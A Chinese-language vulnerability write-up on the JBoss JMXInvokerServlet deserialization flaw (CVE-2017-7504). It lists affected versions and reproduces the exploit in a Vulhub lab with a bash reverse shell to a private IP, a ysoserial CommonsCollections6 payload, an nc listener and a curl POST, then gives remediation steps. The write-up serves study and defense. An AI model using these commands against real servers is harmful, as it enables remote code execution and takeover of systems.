[JBoss JMXInvokerServlet 反序列化-CVE-2017-7504]
字数 1989 2025-08-11 21:26:31
JBoss JMXInvokerServlet 反序列化漏洞(CVE-2017-7504) 详细分析
漏洞概述
CVE-2017-7504是JBoss应用服务器中的一个远程代码执行漏洞,由于JBoss在/invoker/JMXInvokerServlet端点处理用户请求时未对传入的序列化数据进行安全检查,攻击者可以通过构造恶意的序列化对象实现远程代码执行。
漏洞原理
该漏洞属于Java反序列化漏洞,核心问题在于:
- JBoss的
JMXInvokerServlet接受并反序列化用户提供的任意数据 - 攻击者可以利用Apache Commons Collections库中的反序列化链(Gadget)构造恶意对象
- 当服务器反序列化这些对象时,会执行其中包含的恶意代码
影响范围
受影响的JBoss产品及版本包括:
- JBoss Enterprise Application Platform: 6.4.4, 5.2.0, 4.3.0_CP10
- JBoss AS (Wildly) 6及更早版本
- JBoss A-MQ 6.2.0
- JBoss Fuse 6.2.0
- JBoss SOA Platform (SOA-P) 5.3.1
- JBoss Data Grid (JDG) 6.5.0
- JBoss BRMS (BRMS) 6.1.0
- JBoss BPMS (BPMS) 6.1.0
- JBoss Data Virtualization (JDV) 6.1.0
- JBoss Fuse Service Works (FSW) 6.0.0
- JBoss Enterprise Web Server (EWS) 2.1, 3.0
环境搭建
使用Vulhub提供的环境进行复现:
- 下载Vulhub环境:
https://github.com/vulhub/vulhub/tree/master/jboss/JMXInvokerServlet-deserialization - 启动环境后访问
http://your-ip:8080/查看JBoss默认页面 - 漏洞存在于
http://your-ip:8080/invoker/JMXInvokerServlet端点
漏洞复现步骤
准备工作
- 工具准备:下载ysoserial工具
https://gitcode.net/mirrors/frohoff/ysoserial/ - 准备反弹Shell命令并Base64编码:
编码后得到:bash -c "bash -i >& /dev/tcp/192.168.61.128/6666 0>&1"YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYxLjEyOC82NjY2IDA+JjE=
生成Payload
使用ysoserial生成恶意序列化数据:
java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjYxLjEyOC82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}" > poc.ser
设置监听
在攻击机上开启监听:
nc -lvp 6666
发送Payload
使用curl发送恶意请求:
curl http://192.168.61.129:8080/invoker/readonly --data-binary @poc.ser
结果验证
如果漏洞存在且利用成功,攻击机的nc监听端口将收到目标服务器的Shell连接。
漏洞分析
-
请求处理流程:
- JBoss接收到
/invoker/JMXInvokerServlet的POST请求 - 服务器读取请求体中的序列化数据
- 直接反序列化这些数据而不进行安全检查
- JBoss接收到
-
利用链分析:
- 使用Apache Commons Collections中的
InvokerTransformer、ChainedTransformer等类构造调用链 - 通过
AnnotationInvocationHandler或BadAttributeValueExpException等触发点启动反序列化过程 - 最终执行Runtime.exec()或类似方法执行任意命令
- 使用Apache Commons Collections中的
修复建议
-
临时解决方案:
- 不需要http-invoker.sar组件的用户可直接删除此组件
- 在http-invoker.sar下的web.xml中添加安全约束:
<security-constraint> <web-resource-collection> <web-resource-name>HttpInvoker</web-resource-name> <url-pattern>/*</url-pattern> </web-resource-collection> <auth-constraint> <role-name>admin</role-name> </auth-constraint> </security-constraint>
-
长期解决方案:
- 升级到不受影响的JBoss版本
- 在所有Java应用中实施反序列化过滤器,如使用SerialKiller或类似解决方案
- 从类路径中移除有问题的库(如旧版Apache Commons Collections)
防御措施
- 监控和过滤对
/invoker/JMXInvokerServlet的访问 - 实施网络层面的访问控制,限制对JBoss管理接口的访问
- 定期更新Java环境和相关库
- 使用Java安全管理器限制敏感操作
参考链接
- 漏洞分析:https://paper.seebug.org/312/
- Vulhub环境:https://github.com/vulhub/vulhub/tree/master/jboss/JMXInvokerServlet-deserialization
- ysoserial工具:https://gitcode.net/mirrors/frohoff/ysoserial/